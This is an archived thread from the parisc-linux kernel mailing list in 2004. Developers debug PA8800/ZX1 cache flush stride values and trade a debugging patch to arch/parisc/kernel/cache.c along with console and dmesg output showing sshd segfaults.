Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30716 invoked by uid 65534); 11 Jun 2004 05:59:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 11 Jun 2004 07:59:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E47C53BDD5; Thu, 10 Jun 2004 23:59:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08301-08; Thu, 10 Jun 2004 23:59:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 84D163BDDA; Thu, 10 Jun 2004 23:58:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA5983BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Jun 2004 23:58:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08320-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Jun 2004 23:58:22 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6EF3F3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Jun 2004 23:58:22 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8441A29805A; Thu, 10 Jun 2004 23:58:21 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 32023-05; Thu, 10 Jun 2004 23:58:20 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D706D298058; Thu, 10 Jun 2004 23:58:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1086470366.1999.36.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21717

On Sat, Jun 05, 2004 at 04:19:24PM -0500, James Bottomley wrote:
> The pa8800 only has a 750k/750k VIPT cache, that's smaller than my
> raven.  The 32M L2 cache is PIPT, which doesn't suffer from aliasing or
> address remapping effects---in fact, the PA engineers probably arranged
> for a fdc not to flush it because there's no point; the only coherency
> problems the PIPT cache has is with I/O, which is supposed to be fully
> coherent in the ZX1, isn't it.  Thus, we'd only pick up a caching
> problems like you describe from the VIPT caches.


Well, I talked to another HP engineer who deals with this stuff
more than I do and came away with some observations:

1) values returned from the PDC_CACHE_INFO call (stride, block, loop)
   are supposed to be "universal" - ie apply to all levels of cache.
   The values are intended to work in the "architected cache flush loop".
   Does that only apply for the FDCE loop?
   What about FDC/FIC loops?


2) values from the C8000 prototype could be wrong. Output and diff
   are appended below. Basically it's telling me to traverse
   the entire 32MB cache with 128 byte stride.

3) I'm not sure if loop=1 indicates 2-way associative or direct mapped.
   I expect direct mapped.  I need to re-read the docs.
   Maybe someone knows? jsm?


Console output from debug info I enabled/added:
| model 9000/785/C8000
| ic_size 2000000 dc_size 2000000 it_size f0
| DC  base 0x0 stride 0x80 count 0x40000 loop 0x1
| dc_conf = 0x1882000  alias 0 blk 1 line 4 shift 1
|         wt 0 sh 0 cst 1 assoc 0
| IC  base 0x0 stride 0x80 count 0x40000 loop 0x1
| ic_conf = 0x1882000  alias 0 blk 1 line 4 shift 1
|         wt 0 sh 0 cst 1 assoc 0
| D-TLB conf: sh 3 page 1 cst 1 aid 0 pad1 0
| I-TLB conf: sh 3 page 1 cst 1 aid 3 pad1 0
| dcache_stride 128   icache_stride 128
| parisc_cache_init: Only equivalent aliasing supported!


The difference between D-TLB and I-TLB was interesting but
I don't know what to make of it.

I noticed HPUX was calculating the stride differently than
parisc-linux. I didn't realize until later the difference
could be due to older/newer firmware versions and/or differences
in the "architected loop" initialization.

Changing "4 + cnf.cc_shift" (stride=128) to "3 + cnf.cc_shift"
(stride=64) didn't help. This implies the stride is not the problem.

grant


Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.17
diff -u -p -r1.17 cache.c
--- arch/parisc/kernel/cache.c	30 May 2004 18:57:23 -0000	1.17
+++ arch/parisc/kernel/cache.c	11 Jun 2004 05:33:38 -0000
@@ -123,47 +123,56 @@ parisc_cache_init(void)
 	if (pdc_cache_info(&cache_info) < 0)
 		panic("parisc_cache_init: pdc_cache_info failed");
 
-#if 0
-	printk(KERN_DEBUG "ic_size %lx dc_size %lx it_size %lx pdc_cache_info %d*long pdc_cache_cf %d\n",
-	    cache_info.ic_size,
-	    cache_info.dc_size,
-	    cache_info.it_size,
-	    sizeof (struct pdc_cache_info) / sizeof (long),
-	    sizeof (struct pdc_cache_cf)
-	);
-
-	printk(KERN_DEBUG "dc base %x dc stride %x dc count %x dc loop %d\n",
-	    cache_info.dc_base,
-	    cache_info.dc_stride,
-	    cache_info.dc_count,
-	    cache_info.dc_loop);
-
-	printk(KERN_DEBUG "dc conf: alias %d block %d line %d wt %d sh %d cst %d assoc %d\n",
-	    cache_info.dc_conf.cc_alias,
-	    cache_info.dc_conf.cc_block,
-	    cache_info.dc_conf.cc_line,
-	    cache_info.dc_conf.cc_wt,
-	    cache_info.dc_conf.cc_sh,
-	    cache_info.dc_conf.cc_cst,
-	    cache_info.dc_conf.cc_assoc);
-
-	printk(KERN_DEBUG "ic conf: alias %d block %d line %d wt %d sh %d cst %d assoc %d\n",
-	    cache_info.ic_conf.cc_alias,
-	    cache_info.ic_conf.cc_block,
-	    cache_info.ic_conf.cc_line,
-	    cache_info.ic_conf.cc_wt,
-	    cache_info.ic_conf.cc_sh,
-	    cache_info.ic_conf.cc_cst,
-	    cache_info.ic_conf.cc_assoc);
+#if 1
+	printk("ic_size %lx dc_size %lx it_size %lx\n",
+		cache_info.ic_size,
+		cache_info.dc_size,
+		cache_info.it_size);
+
+	printk("DC  base 0x%lx stride 0x%lx count 0x%lx loop 0x%lx\n",
+		cache_info.dc_base,
+		cache_info.dc_stride,
+		cache_info.dc_count,
+		cache_info.dc_loop);
+
+	printk("dc_conf = 0x%lx  alias %d blk %d line %d shift %d\n",
+		*(unsigned long *) (&cache_info.dc_conf),
+		cache_info.dc_conf.cc_alias,
+		cache_info.dc_conf.cc_block,
+		cache_info.dc_conf.cc_line,
+		cache_info.dc_conf.cc_shift);
+	printk("	wt %d sh %d cst %d assoc %d\n",
+		cache_info.dc_conf.cc_wt,
+		cache_info.dc_conf.cc_sh,
+		cache_info.dc_conf.cc_cst,
+		cache_info.dc_conf.cc_assoc);
+
+	printk("IC  base 0x%lx stride 0x%lx count 0x%lx loop 0x%lx\n",
+		cache_info.ic_base,
+		cache_info.ic_stride,
+		cache_info.ic_count,
+		cache_info.ic_loop);
+
+	printk("ic_conf = 0x%lx  alias %d blk %d line %d shift %d\n",
+		*(unsigned long *) (&cache_info.ic_conf),
+		cache_info.ic_conf.cc_alias,
+		cache_info.ic_conf.cc_block,
+		cache_info.ic_conf.cc_line,
+		cache_info.ic_conf.cc_shift);
+	printk("	wt %d sh %d cst %d assoc %d\n",
+		cache_info.ic_conf.cc_wt,
+		cache_info.ic_conf.cc_sh,
+		cache_info.ic_conf.cc_cst,
+		cache_info.ic_conf.cc_assoc);
 
-	printk(KERN_DEBUG "dt conf: sh %d page %d cst %d aid %d pad1 %d \n",
+	printk("D-TLB conf: sh %d page %d cst %d aid %d pad1 %d \n",
 	    cache_info.dt_conf.tc_sh,
 	    cache_info.dt_conf.tc_page,
 	    cache_info.dt_conf.tc_cst,
 	    cache_info.dt_conf.tc_aid,
 	    cache_info.dt_conf.tc_pad1);
 
-	printk(KERN_DEBUG "it conf: sh %d page %d cst %d aid %d pad1 %d \n",
+	printk("I-TLB conf: sh %d page %d cst %d aid %d pad1 %d \n",
 	    cache_info.it_conf.tc_sh,
 	    cache_info.it_conf.tc_page,
 	    cache_info.it_conf.tc_cst,
@@ -180,10 +189,17 @@ parisc_cache_init(void)
 		split_tlb = 1;
 	}
 
-	dcache_stride = (1 << (cache_info.dc_conf.cc_block + 3)) *
-						cache_info.dc_conf.cc_line;
-	icache_stride = (1 << (cache_info.ic_conf.cc_block + 3)) *
-						cache_info.ic_conf.cc_line;
+#if 0
+#define CAFL_STRIDE(cnf) ((1 << (cnf.cc_block + 3)) * cnf.cc_line)
+#else
+#define CAFL_STRIDE(cnf) (cnf.cc_block * (cnf.cc_line << (4 + cnf.cc_shift)))
+#endif
+	dcache_stride = CAFL_STRIDE(cache_info.dc_conf);
+	icache_stride = CAFL_STRIDE(cache_info.ic_conf);
+#undef CAFL_STRIDE
+
+printk("dcache_stride %d   icache_stride %d\n", dcache_stride, icache_stride);
+
 #ifndef CONFIG_PA20
 	if (pdc_btlb_info(&btlb_info) < 0) {
 		memset(&btlb_info, 0, sizeof btlb_info);
@@ -192,8 +208,8 @@ parisc_cache_init(void)
 
 	if ((boot_cpu_data.pdc.capabilities & PDC_MODEL_NVA_MASK) ==
 						PDC_MODEL_NVA_UNSUPPORTED) {
-		printk(KERN_WARNING "Only equivalent aliasing supported\n");
-#ifndef CONFIG_SMP
+		printk(KERN_WARNING "parisc_cache_init: Only equivalent aliasing supported!\n");
+#if 0
 		panic("SMP kernel required to avoid non-equivalent aliasing");
 #endif
 	}
Index: include/asm-parisc/pdc.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pdc.h,v
retrieving revision 1.7
diff -u -p -r1.7 pdc.h
--- include/asm-parisc/pdc.h	4 Jun 2004 19:36:53 -0000	1.7
+++ include/asm-parisc/pdc.h	11 Jun 2004 05:34:04 -0000
@@ -346,10 +346,10 @@ struct pdc_cache_cf {		/* for PDC_CACHE 
 #ifdef __LP64__
 		cc_padW:32,
 #endif
-		cc_alias:4,	/* alias boundaries for virtual addresses   */
+		cc_alias: 4,	/* alias boundaries for virtual addresses   */
 		cc_block: 4,	/* to determine most efficient stride */
 		cc_line	: 3,	/* maximum amount written back as a result of store (multiple of 16 bytes) */
-		cc_pad0 : 2,	/* reserved */
+		cc_shift: 2,	/* how much to shift cc_block left */
 		cc_wt	: 1,	/* 0 = WT-Dcache, 1 = WB-Dcache */
 		cc_sh	: 2,	/* 0 = separate I/D-cache, else shared I/D-cache */
 		cc_cst  : 3,	/* 0 = incoherent D-cache, 1=coherent D-cache */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: 11 Jun 2004 10:02:29 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <1086962549.1949.23.camel@mulgrave>
References: <20040604202546.GC18574@colo.lackof.org>
	<20040605065126.GA28343@colo.lackof.org>
	<1086444652.1999.20.camel@mulgrave>
	<20040605210515.GA8098@colo.lackof.org>
	<1086470366.1999.36.camel@mulgrave> 
	<20040611055819.GA32005@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623472 9918 80.91.229.3 (22 Nov 2014 02:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:12 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29319 invoked by uid 65534); 11 Jun 2004 14:03:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 11 Jun 2004 16:03:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E868B3BDE8; Fri, 11 Jun 2004 08:03:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12748-08; Fri, 11 Jun 2004 08:03:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D29D63BDDA; Fri, 11 Jun 2004 08:02:35 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93B613BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 08:02:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12748-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 08:02:31 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by free.linux.hp.com (Postfix) with ESMTP id 2FDC73BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 08:02:31 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i5BE2Ti24403; Fri, 11 Jun 2004 10:02:29 -0400
In-Reply-To: <20040611055819.GA32005@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21718

> Changing "4 + cnf.cc_shift" (stride=128) to "3 + cnf.cc_shift"
> (stride=64) didn't help. This implies the stride is not the problem.

The stride in the rest of the PA architecture is either 16 or 32; I'd be
surprised if the L1 stide in the 8800 were bigger (smaller stride is
actually more efficient since it gives finer control over caching).

Could you just hard code it to 32 to make assureances certain that the
stride value isn't the source of the segv's?

Thanks,

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Fri, 11 Jun 2004 09:03:55 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20040611150355.GB10279@colo.lackof.org>
References: <20040604202546.GC18574@colo.lackof.org>
	<20040605065126.GA28343@colo.lackof.org>
	<1086444652.1999.20.camel@mulgrave>
	<20040605210515.GA8098@colo.lackof.org>
	<1086470366.1999.36.camel@mulgrave>
	<20040611055819.GA32005@colo.lackof.org>
	<1086962549.1949.23.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623472 9921 80.91.229.3 (22 Nov 2014 02:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:12 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15613 invoked by uid 65534); 11 Jun 2004 15:04:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx010) with SMTP; 11 Jun 2004 17:04:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 07D823BDDA; Fri, 11 Jun 2004 09:04:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13819-02; Fri, 11 Jun 2004 09:04:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B2F623BDE7; Fri, 11 Jun 2004 09:04:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A5B93BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 09:03:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13402-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 09:03:57 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 0956C3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 09:03:56 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 43B4A298058; Fri, 11 Jun 2004 09:03:56 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 10674-10; Fri, 11 Jun 2004 09:03:55 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7A879298052; Fri, 11 Jun 2004 09:03:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1086962549.1949.23.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21719

On Fri, Jun 11, 2004 at 10:02:29AM -0400, James Bottomley wrote:
> > Changing "4 + cnf.cc_shift" (stride=128) to "3 + cnf.cc_shift"
> > (stride=64) didn't help. This implies the stride is not the problem.
> 
> The stride in the rest of the PA architecture is either 16 or 32; I'd be
> surprised if the L1 stride in the 8800 were bigger (smaller stride is
> actually more efficient since it gives finer control over caching).

I always thought the stride was the smallest cacheline size.

> Could you just hard code it to 32 to make assureances certain that the
> stride value isn't the source of the segv's?

It didn't help. sshd is still not working.
I'll try 16 as well.

pa8800:~# dmesg | fgrep sshd                                                    
do_page_fault() pid=457 command='sshd' type=15 address=0x80fc43ac               
do_page_fault() pid=461 command='sshd' type=6 address=0x00000003                
sshd(463): unaligned access to 0x00000000faf0105b at ip=0x00000000406e536b      
sshd(463): unaligned access to 0x00000000faf0107b at ip=0x00000000406e537f      
do_page_fault() pid=463 command='sshd' type=15 address=0x00000002               
do_page_fault() pid=465 command='sshd' type=15 address=0x0000000c               
do_page_fault() pid=469 command='sshd' type=15 address=0x0000000c               
sshd (pid 471): Illegal instruction (code 8) at 0000000000074b7b                


But I have to wonder why do RC scripts work?
And why can I login on the console?
I thought all of those things would fork/exec other binaries as well.
Given everything is coming over NFS root, I can't blame IO either.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Fri, 11 Jun 2004 09:27:13 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20040611152713.GC10279@colo.lackof.org>
References: <20040604202546.GC18574@colo.lackof.org>
	<20040605065126.GA28343@colo.lackof.org>
	<1086444652.1999.20.camel@mulgrave>
	<20040605210515.GA8098@colo.lackof.org>
	<1086470366.1999.36.camel@mulgrave>
	<20040611055819.GA32005@colo.lackof.org>
	<1086962549.1949.23.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623473 9923 80.91.229.3 (22 Nov 2014 02:31:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:13 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22931 invoked by uid 65534); 11 Jun 2004 15:27:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 11 Jun 2004 17:27:35 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 90ADC3BDFE; Fri, 11 Jun 2004 09:27:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13819-09; Fri, 11 Jun 2004 09:27:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A76AF3BDF1; Fri, 11 Jun 2004 09:27:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A9123BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 09:27:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13819-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 09:27:14 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 441343BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Jun 2004 09:27:14 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id AC82229805B; Fri, 11 Jun 2004 09:27:13 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 11166-07; Fri, 11 Jun 2004 09:27:13 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 24F0F298058; Fri, 11 Jun 2004 09:27:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1086962549.1949.23.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21720

On Fri, Jun 11, 2004 at 10:02:29AM -0400, James Bottomley wrote:
> Could you just hard code it to 32 to make assureances certain that the
> stride value isn't the source of the segv's?

stride=16 doesn't work either.
